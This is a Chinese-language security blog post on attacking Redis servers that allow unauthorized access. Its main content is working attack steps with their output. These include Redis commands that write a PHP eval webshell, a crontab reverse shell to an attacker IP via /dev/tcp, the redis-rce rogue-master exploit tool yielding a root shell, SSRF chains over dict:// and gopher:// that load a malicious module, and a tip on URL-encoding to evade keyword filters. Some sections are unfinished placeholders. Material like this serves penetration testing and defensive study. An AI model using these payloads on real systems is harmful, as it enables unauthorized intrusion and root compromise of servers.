redis漏洞

作者 ro0t 于 2021-06-01 发布
预计阅读所需时间 9 分钟
2.2k

redis 漏洞

Redis简介

Redis是一个key-value存储系统。redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。

默认端口:6379

Redis利用方式及其利用条件

1. 写webshell(已知目录)

利用条件

  • 目标存在web目录
  • 已知web绝对路径
  • 存在写入权限

利用过程

  1. 利用redis未授权访问,写入webshell到目标web目录下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    127.0.0.1:6379> CONFIG SET dir "/var/www/html/"
    OK
    127.0.0.1:6379> CONFIG SET dbfilename shell.php
    OK
    127.0.0.1:6379> set x "\r\n\r\n<?php eval($_POST['ant']); ?>\r\n\r\n"
    OK
    127.0.0.1:6379> save
    OK
    (1.06s)
    127.0.0.1:6379>
    `\r\n\r\n`代表换行,用redis写入的文件会自带版本信息,不加换行无法成功执行
    
1
2
3
[root@d22cb519e3fa html]# ll
total 47400
-rw-r--r-- 1 root root 48537533 May 25 09:41 shell.php

打开文件之后,长这样

image-20210525180700510

执行成功后,可成功写入目标目录:

  1. 直接使用蚁剑等连接器,连接webshell即可

image-20210525181926348

2. 写webshell(未知目录)

先空着

3. 计划任务反弹shell

利用条件

  • 有权限写计划任务

利用过程

  1. 攻击者服务器监听端口,如1234

    1
    nc -l -vv 1234
  2. 利用redis未授权写入文件到计划任务crontab

    1
    2
    3
    4
    5
    6
    7
    8
    9
    127.0.0.1:6379> CONFIG SET dir "/var/spool/cron"
    OK
    127.0.0.1:6379> SET tide "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/10.233.0.22/1234 0>&1\n\n"
    OK
    127.0.0.1:6379> CONFIG SET dbfilename root
    OK
    127.0.0.1:6379> save
    OK
    127.0.0.1:6379>
  3. 攻击者服务器即可收到反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    ➜  ~ nc -l -vv 1234
    [root@8393178de2ec cron]# whoami
    whoami
    root
    [root@8393178de2ec cron]#
    [root@8393178de2ec cron]# exit
    exit
    exit

遇到的坑:

  • crontab在docker内无法直接执行,需要容器创建时加上 --priviledged=true
  • 只在centos下有用。由于redis向任务计划文件里写内容会出现乱码,从而导致语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,ubuntu、debian 则不行

4. 写入公钥远程连接

利用条件

  • root权限
  • 开启了ssh密钥登录,存在/etc/.ssh文件

利用过程

  1. 待填充

遇到的坑

  • 目标主机必须开启了密钥登录才能利用
  • ssh第一次连接时要加上 -o StrictHostKeyChecking=no,不然可能一直连不上

5. 开启自启目录

利用条件

  • Windows系统

利用过程

  1. 写入批处理文件到Administrator用户的开机目录

    无测试环境,暂未复现

6. jackson反序列化利用

7. Redis主从复制get Shell【工具】

Redis主从复制原理

redis主从复制,有全量同步和增量同步两种模式。

全量同步

Redis全量复制一般发生在Slave初始化阶段,这时Slave需要将Master上的所有数据都复制一份。具体步骤如下:

  • 从服务器连接主服务器,发送SYNC命令;
  • 主服务器接收到SYNC命名后,开始执行BGSAVE命令生成RDB文件并使用缓冲区记录此后执行的所有写命令;
  • 主服务器BGSAVE执行完后,向所有从服务器发送快照文件,并在发送期间继续记录被执行的写命令;
  • 从服务器收到快照文件后丢弃所有旧数据,载入收到的快照;
  • 主服务器快照发送完毕后开始向从服务器发送缓冲区中的写命令;
  • 从服务器完成对快照的载入,开始接收命令请求,并执行来自主服务器缓冲区的写命令;

增量同步

Redis增量复制是指Slave初始化后开始正常工作时主服务器发生的写操作同步到从服务器的过程。

增量复制的过程主要是主服务器每执行一个写命令就会向从服务器发送相同的写命令,从服务器接收并执行收到的写命令。

Redis主从同步策略
主从刚刚连接的时候,进行全量同步;全同步结束后,进行增量同步。当然,如果有需要,slave 在任何时候都可以发起全量同步。redis 策略是,无论如何,首先会尝试进行增量同步,如不成功,要求从机进行全量同步。


以上为redis主从复制的相关基础,那漏洞怎么利用呢?

Redis主从复制漏洞 利用条件

  1. redis存在未授权漏洞

  2. 主从复制get shell需要redis版本 <=5.0.5 (笔者最开始装了最新版本,无奈复现不了。。。查了下资料,才知晓还有版本要求)

    问题:为什么高版本不能利用?高版本屏蔽了什么?需要再看下。。。。

Redis主从复制get shell过程

  1. 工具准备:

    • 执行 git clone https://github.com/Ridter/redis-rce.git

    • 获取利用模块:

      • [option 1] 可直接在https://github.com.cnpmjs.org/n0b0dyCN/redis-rogue-server 中下载 exp.so文件到 redis-rce目录下

      • [option 2] 自己生成,得到module.so文件:

        1
        2
        3
        git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
        cd RedisModules-ExecuteCommand/
        make
  2. 进入到redis-rce目录,直接执行以下命令即可

    1
    python3 redis-rce.py -r 目标地址 -p 6379 -L 本地地址 -f exp.so[或 module.so]

    可获取shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    ➜  redis-rce git:(master) ✗ python3 redis-rce.py -r 127.0.0.1 -p 6379 -L 10.233.0.22 -f exp.so

    █▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄
    █ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀
    █▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄
    █ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀
    █ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀
    ▀ ▀


    [*] Connecting to 127.0.0.1:6379...
    [*] Sending SLAVEOF command to server
    [+] Accepted connection from 127.0.0.1:6379
    [*] Setting filename
    [+] Accepted connection from 127.0.0.1:6379
    [*] Start listening on 10.233.0.22:21000
    [*] Tring to run payload
    [+] Accepted connection from 10.233.0.22:59477
    [*] Closing rogue server...

    [+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
    [+] Interactive shell open , use "exit" to exit...
    $ whoami
    root
    $ exit
    [*] Clean up..

8. Redis + SSRF get shell【手工】

利用dict协议反弹shell

注:

​ 172.17.0.2 为目标机器

​ 172.17.0.3 为攻击者机器

  • 查看redis相关配置

    1
    http://127.0.0.1/ssrf.php?url=dict://172.17.0.2:6379/info

    image-20210529153705600

  • 目标机器设置redis备份名

    1
    http://127.0.0.1/ssrf.php?url=dict://172.17.0.2:6379/config:set:dbfilename:module.so
  • 攻击者redis加载漏洞利用模块

    1
    2
    3
    4
    [root@8393178de2ec RedisModules-ExecuteCommand]# redis-cli -h 127.0.0.1
    127.0.0.1:6379> module load /root/RedisModules-ExecuteCommand/module.so
    OK
    127.0.0.1:6379>
  • 目标机器链接到攻击者redis中【攻击者redis此时已加载了漏洞利用模块】

    1
    http://127.0.0.1/ssrf.php?url=dict://172.17.0.2:6379/slaveof:172.17.0.3:6379

    image-20210529153841749

    执行命令之后, 我们以上帝视角,可以在目标机器上看到,在/目录下多了一个module.so的文件

    image-20210529154258413

  • 切断主从复制

    1
    http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/slaveof:no:one
  • 目标机器载入利用模块module.so

    1
    http://127.0.0.1/ssrf.php?url=dict://172.17.0.2:6379/module:load:/module.so

    image-20210529154400684

  • 攻击者服务器开启监听

    1
    nc -l -vv 1234
  • 执行系统命令

    1
    http://127.0.0.1/ssrf.php?url=dict://172.17.0.2:6379/system.rev:172.17.0.3:1234

    此时浏览器会一直卡住。

    image-20210529154816525

    攻击者服务发起命令:

    1
    2
    3
    ➜  redis-rce git:(master) ✗ nc -l -vv 1234
    whoami
    root

    image-20210529154850356

    至此,getshell成功

利用gopher协议反弹shell

  • 设置文件名,连接攻击者服务器

    1
    curl gopher://172.17.0.2:6379/_config%20set%20dbfilename%20exp.so%0D%0Aslaveof%20172.17.0.3%206379%0D%0Aquit

    tcpdumpraw请求长这样:

    1
    2
    636f6e6669672073657420646266696c656e616d65206578702e736f0d0a736c6176656f66203137322e31372e302e3320363337390d0a71756974
    0d0a

    以上命令解码之后长这样:

    1
    2
    3
    gopher://172.17.0.2:6379/_config set dbfilename exp.so
    slaveof 172.17.0.3 6379
    quit

    直接执行:

    1
    2
    3
    4
    [root@8393178de2ec ~]# curl gopher://172.17.0.2:6379/_config%20set%20dbfilename%20exp.so%0D%0Aslaveof%20172.17.0.3%206379%0D%0Aquit
    +OK
    +OK
    +OK
  • 加载exp.so 反弹shell

    攻击者执行以下命令,也会卡住:

    1
    curl gopher://172.17.0.2:6379/_module%20load%20%2Froot%2Fexp.so%0D%0Asystem.rev%20172.17.0.3%201234%0D%0Aquit

    同时开启监听,即可触发

    1
    2
    3
    4
    5
    6
    7
    8
    [root@8393178de2ec /]# nc -l -vv 1234
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::1234
    Ncat: Listening on 0.0.0.0:1234
    Ncat: Connection from 172.17.0.2.
    Ncat: Connection from 172.17.0.2:39152.
    whoami
    root

值得一提

在利用过程中,若出现关键字拦截的情况,可先发起请求并抓包,得到其raw的表示形式,url 编码就是字符的十六进制数据表示,前面加个 %即可,使用gopher也可以直接执行


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !